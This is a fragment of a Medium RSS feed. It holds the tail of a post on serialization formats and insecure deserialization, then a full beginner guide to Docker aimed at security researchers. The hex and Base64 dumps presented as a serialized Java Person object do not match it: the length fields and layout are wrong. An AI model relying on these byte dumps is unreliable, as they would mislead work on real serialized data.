 private String name;<br>    private int age;<br><br>    public Person(String name, int age) {<br>        this.name = name;<br>        this.age = age;<br>    }<br><br>    public static void main(String[] args) {<br>        // Serialize<br>        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(&quot;person.ser&quot;))) {<br>            Person person = new Person(&quot;Alice&quot;, 30);<br>            oos.writeObject(person);<br>        } catch (IOException e) {<br>            e.printStackTrace();<br>        }<br><br>        // Deserialize<br>        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(&quot;person.ser&quot;))) {<br>            Person person = (Person) ois.readObject();<br>            System.out.println(&quot;Name: &quot; + person.name + &quot;, Age: &quot; + person.age);<br>        } catch (IOException | ClassNotFoundException e) {<br>            e.printStackTrace();<br>        }<br>    }<br>}</pre><p><strong>Hexadecimal Representation</strong></p><p>The serialized form of this Person object in hexadecimal:</p><pre>ac ed 00 05 73 72 00 0d 50 65 72 73 6f 6e 03 1b 10 1d 39 d9 19 56 49 02 00 02 4c 00 04 6e 61 6d 65 74 00 12 4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 74 72 69 6e 67 3b 49 00 03 61 67 65 78 70 74 00 05 41 6c 69 63 65 78 70 1e</pre><p><strong>Base64 Representation</strong></p><p>The same serialized object in Base64 encoding:</p><pre>rO0ABXNyAA1QZXJzb24DGxAdOdkZVkECAAIATAAOYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7SQADYWdleHB0AAFBbGljZXhwHg==</pre><h4>JSON (JavaScript Object Notation)</h4><ul><li><strong>Language:</strong> JavaScript (and widely used across many languages)</li></ul><pre>{<br>  &quot;title&quot;: &quot;My Note&quot;,<br>  &quot;content&quot;: &quot;Welcome to JSON!&quot;<br>}</pre><h4>XML (Extensible Markup Language)</h4><p>Language: Used across many languages, often in web services and configuration files</p><pre>&lt;note&gt;<br>  &lt;title&gt;My Note&lt;/title&gt;<br>  &lt;content&gt;Welcome to XML!&lt;/content&gt;<br>&lt;/note&gt;</pre><h4><strong>Summary of most used serialization format</strong></h4><pre>╔═════════════════╦══════════════════════════════════════════════╦════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╗<br>║ Language/Format ║ Example Format                               ║ Example Output                                                                                                             ║<br>╠═════════════════╬══════════════════════════════════════════════╬════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╣<br>║ PHP             ║ Key-value pairs in serialized string format  ║ a:2:{s:5:&quot;title&quot;;s:12:&quot;My Note&quot;;s:7:&quot;content&quot;;s:15:&quot;Welcome to PHP!&quot;;}                                                     ║<br>║ JSON            ║ Key-value pairs in curly braces              ║ {&quot;title&quot;: &quot;My Note&quot;, &quot;content&quot;: &quot;Welcome to JSON!&quot;}                                                                        ║<br>║ XML             ║ Tag-based hierarchical structure             ║ &lt;note&gt;&lt;title&gt;My Note&lt;/title&gt;&lt;content&gt;Welcome to XML!&lt;/content&gt;&lt;/note&gt;                                                      ║<br>║ YAML            ║ Indentation-based key-value pairs            ║ title: &quot;My Note&quot;\\ncontent: &quot;Welcome to YAML!&quot;                                                                             ║<br>║ Protobuf        ║ Field definitions with data types            ║ message Note { string title = 1; string content = 2; }                                                                     ║<br>║ BSON            ║ Binary representation of JSON-like documents ║ {&quot;title&quot;: &quot;My Note&quot;, &quot;content&quot;: &quot;Welcome to BSON!&quot;}                                                                        ║<br>║ MessagePack     ║ Efficient binary serialization format        ║ {&quot;title&quot;: &quot;My Note&quot;, &quot;content&quot;: &quot;Welcome to MessagePack!&quot;}                                                                 ║<br>║ Thrift          ║ Field definitions with data types            ║ struct Note { 1: string title, 2: string content }                                                                         ║<br>║ Avro            ║ JSON schema for data serialization           ║ {&quot;type&quot;: &quot;record&quot;, &quot;name&quot;: &quot;Note&quot;, &quot;fields&quot;: [{&quot;name&quot;: &quot;title&quot;, &quot;type&quot;: &quot;string&quot;}, {&quot;name&quot;: &quot;content&quot;, &quot;type&quot;: &quot;string&quot;}]} ║<br>╚═════════════════╩══════════════════════════════════════════════╩════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╝</pre><h3>References</h3><p><a href="https://portswigger.net/web-security/deserialization">https://portswigger.net/web-security/deserialization</a></p><p><a href="https://book.hacktricks.xyz/pentesting-web/deserialization">https://book.hacktricks.xyz/pentesting-web/deserialization</a></p><p><a href="https://johnermac.github.io/notes/ewptx/zattackingserialization/">https://johnermac.github.io/notes/ewptx/zattackingserialization/</a></p><p><a href="https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization">https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization</a></p><p><a href="https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html">https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html</a></p><p><a href="https://www.youtube.com/playlist?list=PLcCG2wDOBXAW_XRxjrym5isS8opH8cr9x">https://www.youtube.com/playlist?list=PLcCG2wDOBXAW_XRxjrym5isS8opH8cr9x</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=02fc45f321d9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Docker For Security Researchers xyz: x]]></title>
            <link>https://blog.devops.dev/docker-for-security-researchers-xyz-x-2a8acd994113?source=rss-5913a0fea0c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/2a8acd994113</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[containers]]></category>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[virtualization]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Zyad Elsayed]]></dc:creator>
            <pubDate>Fri, 12 Jul 2024 05:49:16 GMT</pubDate>
            <atom:updated>2025-01-17T16:30:03.272Z</atom:updated>
            <content:encoded><![CDATA[<h4>Part x: A Comprehensive Guide to Docker 🐳</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KQVdgXp2Ez84bfmL72mNzQ.png" /></figure><p>⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيم ِ</p><h3>Table Of Content</h3><p>·⠀ <a href="#a8d8">About Docker</a><br>· ⠀<a href="#15d7">Docker Capabilities </a><br>· ⠀<a href="#da53">Some Key Concepts </a><br>· ⠀<a href="#6ff6">VM vs Containers</a><br> ⠀⠀ ∘⠀ <a href="#1573">How OS is made up</a><br> ⠀⠀ ∘⠀ <a href="#d01a">Virtual machine architecture</a><br> ⠀⠀ ∘⠀ <a href="#b7e3">Container architecture</a><br>· ⠀<a href="#cf43">Docker Architecture</a><br> ⠀⠀ ∘ ⠀<a href="#3bb2">Client-Server Architecture</a><br>· ⠀<a href="#8a17">Docker CLI commands </a><br> ⠀⠀ ∘ ⠀<a href="#c50b">Image Management</a><br> ⠀⠀ ∘ ⠀<a href="#8b31">Container Management</a><br> ⠀⠀ ∘ ⠀<a href="#6286">Volume Management</a><br> ⠀⠀ ∘ ⠀<a href="#701b">Network Management</a><br> ⠀⠀ ∘ ⠀<a href="#f8df">System Management</a><br> ⠀⠀ ∘ ⠀<a href="#5aa2">Docker Compose</a><br> ⠀⠀ ∘ ⠀<a href="#cae6">Docker Init</a><br>· ⠀<a href="#abc5">Docker hub</a><br>· ⠀<a href="#5b1d">Resources</a></p><h3>About Docker</h3><p>Docker is an open-source platform that automates the deployment, scaling, and management of applications using containerization. Containers package an application and its dependencies into a standardized unit for software development, ensuring consistency across multiple environments and isolation from systems.</p><h3>Docker Capabilities</h3><p>Docker is essential in modern software development due to its key benefits. It ensures portability by allowing applications in containers to run consistently across various environments, resolving the “ it works on my machine ” issue. This consistency enhances collaboration between development and operations teams.</p><p>Additionally, Docker improves scalability by enabling easy distribution of containers across clusters, allowing rapid application scaling.</p><p>A critical benefit of Docker is isolation. Containers encapsulate applications and their dependencies, providing process and filesystem isolation. This allows different applications to run various versions of the same library without conflicts, which is particularly useful for languages like Python and Node where multiple projects may need different library versions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*htIVgRbCVFMMLrIh2Uaorg.png" /></figure><p>Moreover, Docker’s cross-platform compatibility is a significant advantage. A Docker image can run on any operating system that supports Docker, including Windows, macOS, and various Linux distributions. This flexibility ensures that applications and testing environments are consistent and portable across different development and production systems.</p><p>Furthermore, Docker containers are highly efficient as they share the host system’s kernel and resources, making them lighter and more resource-efficient than traditional virtual machines (VMs). This efficiency translates to faster startup times and reduced overhead, allowing more applications to run on the same hardware.</p><h3>Some Key Concepts to know before start</h3><p><strong>Dockerfile:</strong> A text file with instructions on how to build a Docker image. It contains a series of commands that specify the environment inside the container.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dbJewBdC2Uj4qx1icH18nQ.png" /></figure><p><strong>Images:</strong> Read-only templates used to create Docker containers. Images contain the application, runtime environment, third-party libraries, dependencies, and all the environmental variables needed to run the application. They are built from Dockerfiles and stored in image registries, such as Docker Hub, for sharing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a0DEzZCqFMVEvzKsIoUMrg.png" /></figure><blockquote>Docker images serve as executable artifacts, ensuring consistency and reliability across different environments.</blockquote><p><strong>Containers:</strong> Lightweight, standalone, and executable packages that include and encapsulate everything needed to run a piece of software, including the code, runtime, system tools, libraries, and settings; it shares the host OS kernel. Runtime instances of Docker images.<br>Multiple containers can be instantiated from a single Docker image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GXtf8ExxE883zCWn2HwTzA.png" /></figure><p>In a Dockerfile, we define instructions for running an application. These instructions are used to build an image, which is easily distributable. The image, once built, can be run to create a Docker container.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-oY8kIGMBZrGTs7A.png" /></figure><ul><li><strong>Docker Compose</strong>: A tool for defining and running multi-container Docker applications using a YAML file (docker-compose.yml).</li><li><strong>Docker Hub</strong>: A cloud-based repository where Docker users can create, test, store, and distribute container images like GitHub.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4IPGszvy6gDGd_2tNVwgDg.png" /></figure><h3>VMs vs Containers</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4EILmXM4Js50mqvZ429buA.png" /></figure><p>Virtual Machines and containers are both technologies used to isolate and run applications, but they have significant differences in their architecture, performance, and use cases.</p><h4>Firstly, How OS is made up</h4><p>Operating system is generally composed of three layers: the hardware layer, which includes the processor, memory, and devices; the OS application layer, which hosts user applications such as Chrome and Microsoft tools; and the kernel layer, which serves as the interface between the hardware and applications. The kernel manages resource allocation among applications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*OdVpzbCJa38qMmT7LwiZNQ.png" /></figure><p>The core difference between containers and virtual machines lies in their architectural layers. Virtual machines are composed of a complete operating system stack, including the kernel and applications. In contrast, containers share the host operating system’s kernel and only isolate the application and its dependencies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ew5ZC_XarEeFrX-EM05R6Q.png" /></figure><h4>Virtual machine architecture</h4><p>Virtual Machines are an abstraction of physical hardware. They allow multiple OS instances to run on a single physical machine by using a hypervisor, which creates and manages these VMs. But these VMs run a complete operating system–including its own kernel</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-2hCa6pK-3zBlTKHCr8jMA.png" /></figure><p>A hypervisor is software used to run multiple virtual machines on a single physical machine. It allocates underlying physical computing resources, such as CPU and memory, to individual virtual machines as needed. Examples of hypervisors include VMware, VirtualBox, and Hyper-V.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iNza-ahrFytiIijZvpAw1g.png" /></figure><h4>Container architecture</h4><p>A container is an isolated, lightweight silo for running an application on the host operating system. Containers build on top of the host operating system’s kernel, and contain only apps and some lightweight operating system APIs and services that run in user mode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ro5_YGAug66pO1R1FGwX2Q.png" /></figure><p>Unlike VMs, containers share the host OS kernel and isolate processes at the user level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gzO1y9Y8GxaXgbC_MZjfpQ.png" /></figure><p>Initially, Docker was designed for Linux and couldn’t be run directly on Windows. The Windows kernel does not support Linux-specific features, necessitating a compatibility layer or a virtual machine to emulate the Linux environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QxxuMaGgBM14wc0fEzqMSg.png" /></figure><p>Since most popular services and databases are Linux-based, this limited compatibility for Windows users. To address this, Docker introduced Docker Desktop for Windows and macOS, enabling Linux containers to run on these operating systems using a hypervisor layer with a lightweight Linux distribution.</p><p>Docker Desktop for Windows initially used VirtualBox and Boot2Docker but later transitioned to leveraging <a href="https://docs.docker.com/desktop/faqs/windowsfaqs/">Hyper-V</a>, a native hypervisor introduced in Windows 10, to create a small, optimized Linux VM that acts as a host for Docker containers.</p><p>Similarly, Docker Desktop for Mac uses Apple’s <a href="https://docs.docker.com/desktop/faqs/macfaqs/">Hypervisor.framework</a> to run a Linux VM, ensuring compatibility with Linux-based Docker images.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b1efduHo5SK-YWLn-QV0mw.png" /></figure><h3>Docker Architecture</h3><p>Docker’s architecture is based on a client-server model. It consists of a client component “Docker-CLI” that communicates with a server component known as the Docker Engine using RESTful APIs. This client-server interaction allows for the management and deployment of containerized applications.</p><h4>Client-Server Architecture</h4><ul><li><strong>Docker Client “CLI”</strong>: The Docker client is the primary interface for interacting with Docker. Users issue commands docker build, docker run through the client, which then communicates with the Docker daemon.</li><li><strong>Docker Engine</strong>: The Docker Engine, also known as the Docker daemon (dockerd), is responsible for building, running, and managing Docker containers. It processes the commands from the Docker client and interacts with the host operating system to perform the necessary actions.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sESRMM5v1K-v1oW2UxcD2A.png" /></figure><p>Docker clients interact with the Docker daemon (dockerd) via a socket/API to manage containers. dockerd is a high-level container runtime that handles tasks like networking and orchestration. It uses containerd as the container manager, responsible for container lifecycle and image management. <br>containerd leverages containerd-shim to abstract low-level runtime operations, maintaining the container&#39;s state independently of dockerd. The actual container runtime is managed by runc, a command-line tool that complies with the OCI runtime specification to create and run containers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4-O9AZdTzKsJFMGogv5HfA.png" /></figure><h3>Docker CLI commands</h3><p><a href="https://docs.docker.com/reference/cli/docker/">docker</a></p><h4>Image Management</h4><ul><li>docker build [OPTIONS] PATH | URL | -Build an image from a Dockerfile.<br>ex. docker build -t image_name /Dockerfile_path<br>ex. docker build -t node_app .</li><li>docker images || docker image lsList images.</li><li>docker pull [OPTIONS] NAME[:TAG|@DIGEST] Pull an image or a repository from a registry.<br> docker pull image_name For official image <br>docker pull directory/image_name <br>ex. docker pull ubuntu<br>ex. docker pull amazon/cloudwatch-agent</li><li>docker push [OPTIONS] NAME[:TAG] Push an image or a repository to a registry.</li><li>docker rmi [OPTIONS] IMAGE [IMAGE…] Remove one or more images after removing its containers.</li><li>docker tag SOURCE_IMAGE[:TAG] TARGET_IMAGE[:TAG]Create a tag TARGET_IMAGE that refers to SOURCE_IMAGE.</li><li>docker save [OPTIONS] IMAGE [IMAGE…]Save one or more images to a tar archive (streamed to STDOUT by default).</li><li>docker load [OPTIONS] Load an image from a tar archive or STDIN.</li></ul><h4>Container Management</h4><ul><li>docker run [OPTIONS] IMAGE [COMMAND] [ARG…] to deploy a container from an image <br>ex. docker run -it --name ubuntu ubuntu <br>ex. docker run -it --name ubuntu ubuntu /bin/bash<br>ex. docker run --name ubuntu ubuntu ls -la /<br><strong>Common Options</strong><br>⠀-it Run container with interactive terminal.<br>⠀-d Run container in detached mode (in the background).<br>⠀--name To specify container name “used later instead of containerID”<br>⠀-p {host_port}:{container_port} Map a host port to a container port.<br>⠀-e To set environment variables within container <br>⠀-h for help menu<br>⠀--net To specify the network settings for a container.<br>⠀--rm Automatically remove the container when it exits.<br>⠀-v Bind mount a volume</li><li>docker ps List running containers.<br>⠀⠀-a List all containers even stopped containers</li><li>docker start [OPTIONS] CONTAINER [CONTAINER...] Start one or more stopped containers.</li><li>docker attach [OPTIONS] CONTAINER to attach to started container<br>ex. docker attach &lt;container_id_or_name&gt;</li><li>docker stop [OPTIONS] CONTAINER [CONTAINER...] Stop one or more running containers.</li><li>docker restart [OPTIONS] CONTAINER [CONTAINER...] Restart one or more containers.</li><li>docker kill [OPTIONS] CONTAINER [CONTAINER...]Kill one or more running containers.</li><li>docker rm [OPTIONS] CONTAINER [CONTAINER...]Remove one or more containers.</li><li>docker pause CONTAINER [CONTAINER...]Pause all processes within one or more containers.</li><li>docker unpause CONTAINER [CONTAINER...]Unpause all processes within one or more containers.</li><li>docker exec &lt;options&gt; &lt;container_id_or_name&gt; &lt;command&gt; Execute a command inside a running container without starting an interactive shell.<br>ex. docker exec -it ubuntu ls -la</li><li>docker inspect [OPTIONS] NAME|ID [NAME|ID...] Display detailed information on one or more containers.</li><li>docker container start my_containerThis is the newer syntax introduced in Docker 1.13 and is recommended for clarity. It explicitly indicates that you are operating on a container.</li></ul><blockquote><strong>Note that:</strong> Docker containers are not inherently persistent by default. When a Docker container is destroyed, any changes made within the container’s filesystem or environment are typically lost. To persist data, use volumes or bind mounts.</blockquote><p><a href="https://docs.docker.com/storage/">Manage data in Docker</a></p><h4>Volume Management</h4><ul><li>docker volume create [OPTIONS] [VOLUME] Create a new volume.<br>ex. docker volume create mongo_network</li><li>docker volume ls [OPTIONS] List volumes.</li><li>docker volume prune [OPTIONS] removes all volumes not used by at least one container.</li><li>docker volume inspect [OPTIONS] VOLUME [VOLUME...] Display detailed information on one or more volumes.</li><li>docker volume rm my_volume Remove a volume.</li></ul><p>To connect a volume to a container when running it, use the -v or --mount option followed by the volume name and the mount point inside the container</p><pre>docker run -d --name my_container -v my_volume:/path/in/container my_image</pre><h4>Network Management</h4><ul><li>docker network create [OPTIONS] NETWORK Create a new network.<br>docker network create mongo</li><li>docker network connect [OPTIONS] NETWORK CONTAINER Connect a container to a network.</li><li>docker network disconnect [OPTIONS] NETWORK CONTAINER Disconnect a container from a network.</li><li>docker network ls [OPTIONS] List networks.</li><li>docker network rm NETWORK [NETWORK...] Remove one or more networks.</li><li>docker network inspect [OPTIONS] NETWORK [NETWORK...] Display detailed information on one or more networks.</li></ul><h4>System Management</h4><ul><li>docker info Display system-wide information.</li><li>docker system prune -a Remove unused data.</li><li>docker version Show the Docker version information.</li><li>docker system df [OPTIONS] Show docker disk usage.</li></ul><h4>Docker Compose</h4><p>docker-compose is a tool provided by Docker that allows you to define and manage multi-container Docker applications. It uses YAML files to configure the services, networks, and volumes required for your application to run as a set of interconnected containers.</p><p>docker-compose up -d Start services in the background.</p><ul><li>docker-compose down Stop and remove services.</li><li>docker-compose build Build or rebuild services.</li><li>docker-compose ps List services.</li><li>docker-compose logs View output from services.</li><li>docker-compose exec Execute a command in a running container.</li></ul><h4><strong>Docker Init</strong></h4><p>Initialize a project with the files necessary to run the project in a container.</p><p><a href="https://docs.docker.com/reference/cli/docker/init/">docker init</a></p><p>Run docker init in your project directory to be walked through the creation of the following files with sensible defaults for your project:</p><ul><li>.dockerignore</li><li>Dockerfile</li><li>compose.yaml</li><li>README.Docker.md</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ewRDyMkYQ9JD2wGNYmfPsw.png" /></figure><h3>Docker hub</h3><p>It serves as a central registry for Docker images, allowing users to store, manage, and distribute Docker container images.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aq8RmoO4wY9Uo8sxbxTO6Q.png" /></figure><p>However, for companies and organizations that require stricter control over their Docker images, especially for security and compliance reasons, private registries are essential.</p><p>Cloud providers like AWS, Google Cloud, and Azure typically offer private container registries as part of their services. These private registries allow companies to securely store and manage their Docker images within their own infrastructure or a cloud environment, ensuring that sensitive images are not publicly accessible.</p><p>Nexus and Docker Hub also provide options for private registries that can be deployed on-premises or in a cloud setup, offering additional flexibility and control over image management.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EVRyG6VkJQxj5F8oV-aKrA.png" /></figure><p><strong>Note that: </strong>Every docker image is built on top of another existing image, which referred to as base image. The base image serves as the starting point for your image and provides the foundational operating system environment and utilities that your application or service needs.</p><p><strong>Wait for the coming parts 🐳</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*TaQJ8wLy48VUJVvRDWIPKg.gif" /></figure><h3>Resources</h3><p><a href="https://youtu.be/pTFZFxd4hOI?si=3s_BSVrZC8bT3alA">https://youtu.be/pTFZFxd4hOI?si=3s_BSVrZC8bT3alA</a><br><a href="https://youtu.be/5G6tA8Q9AuQ?si=HQoGVax5sh5s28RK">https://youtu.be/5G6tA8Q9AuQ?si=HQoGVax5sh5s28RK</a></p><p><a href="https://docs.docker.com/manuals/">https://docs.docker.com/manuals<br></a><a href="https://learn.microsoft.com/en-us/virtualization/windowscontainers/">https://learn.microsoft.com/en-us/virtualization/windowscontainers/</a><br><a href="https://learn.microsoft.com/en-us/dotnet/architecture/microservices/">https://learn.microsoft.com/en-us/dotnet/architecture/microservices/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2a8acd994113" width="1" height="1" alt=""><hr><p><a href="https://blog.devops.dev/docker-for-security-researchers-xyz-x-2a8acd994113">Docker For Security Researchers xyz: x</a> was originally published in <a href="https://blog.devops.dev/">DevOps.dev</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>